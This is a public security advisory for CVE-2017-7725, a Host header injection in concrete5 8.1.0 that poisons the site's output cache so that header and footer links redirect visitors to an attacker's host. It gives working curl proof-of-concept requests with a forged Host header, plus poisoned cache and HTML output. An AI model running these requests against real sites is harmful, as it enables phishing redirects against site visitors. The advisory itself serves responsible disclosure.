concrete5 8.1.0 Host Header Injection

2017-04-14T00:00:00
ID PACKETSTORM:142145
Type packetstorm
Reporter hyp3rlinx
Modified 2017-04-14T00:00:00

Description

                                        
                                            `[+] Credits: John Page a.k.a hyp3rlinx   
[+] Website: hyp3rlinx.altervista.org  
[+] Source: http://hyp3rlinx.altervista.org/advisories/CONCRETE5-v8.1.0-HOST-HEADER-INJECTION.txt  
[+] ISR: ApparitionSec   
  
  
  
Vendor:  
==================  
www.concrete5.org  
  
  
  
Product:  
================  
concrete5 v8.1.0  
  
concrete5 is an open-source content management system (CMS) for publishing content on the World Wide Web and intranets.  
  
  
Vulnerability Type:  
======================  
Host Header Injection  
  
  
  
CVE Reference:  
==============  
CVE-2017-7725  
  
  
  
Security Issue:  
================  
If a user does not specify a "canonical" URL on installation of concrete5, unauthenticated remote attackers can write to the  
"collectionversionblocksoutputcache" table of the MySQL Database, by making HTTP GET request with a poisoned HOST header.  
Some affected concrete5 webpages can then potentially render arbitrary links that can point to a malicious website.   
  
Example MySQL data from "CollectionVersionBlocksOutputCache" table.  
  
(164, 1, 57, 'Header Site Title', '<a href="http://attacker-ip/concrete5-8.1.0/index.php" id="header-site-title">Elemental</a>', 1649861489  
  
  
e.g.  
  
c:\> curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/services -H "Host: attacker-ip" | more  
  
  
<!DOCTYPE html>  
<html lang="en">  
<head>  
<meta http-equiv="X-UA-Compatible" content="IE=edge">  
<link rel="stylesheet" type="text/css" href="/concrete5-8.1.0/concrete/themes/elemental/css/bootstrap-modified.css">  
<link href="/concrete5-8.1.0/application/files/cache/css/elemental/main.css?ts=1492101910" rel="stylesheet" type="text/css" media="all">  
<title>Services :: POC</title>  
  
<meta http-equiv="content-type" content="text/html; charset=UTF-8"/>  
<meta name="generator" content="concrete5 - 8.1.0"/>  
<script type="text/javascript">  
var CCM_DISPATCHER_FILENAME = "/concrete5-8.1.0/index.php";  
var CCM_CID = 162;  
var CCM_EDIT_MODE = false;  
var CCM_ARRANGE_MODE = false;  
var CCM_IMAGE_PATH = "/concrete5-8.1.0/concrete/images";  
var CCM_TOOLS_PATH = "/concrete5-8.1.0/index.php/tools/required";  
var CCM_APPLICATION_URL = "http://attacker-ip/concrete5-8.1.0"; <=================== HERE  
var CCM_REL = "/concrete5-8.1.0";  
</script>  
  
  
  
Exploit:  
=========  
  
curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/team/faq -H "Host: attacker-ip"  
curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/services -H "Host: attacker-ip"  
curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/portfolio -H "Host: attacker-ip"  
  
Navigate to one of these URLs:  
  
http://VICTIM-IP/concrete5-8.1.0/index.php/services  
http://VICTIM-IP/concrete5-8.1.0/index.php/portfolio  
  
Click on links in header portion of the webpage from one of the above URLs.  
  
Services  
Portfolio  
Team / Drop down Menu  
Blog  
Contact  
  
OR   
  
click on the links on footer portion of the webpage.  
  
FAQ / Help   
Case Studies  
Blog  
Another Link  
View on Google Maps  
  
  
Result: user gets redirected to attacker-ip.  
  
  
  
Network Access:  
===============  
Remote  
  
  
  
Severity:  
=========  
High  
  
  
  
Disclosure Timeline:  
======================================================  
Vendor Notification : April 11, 2017   
Vendor reply: "this is a known issue" : April 12, 2017   
Requested a CVE from mitre.   
CVE assigned : April 12, 2017  
April 13, 2017 : Public Disclosure  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information  
or exploits by the author or elsewhere. All content (c).  
  
hyp3rlinx  
`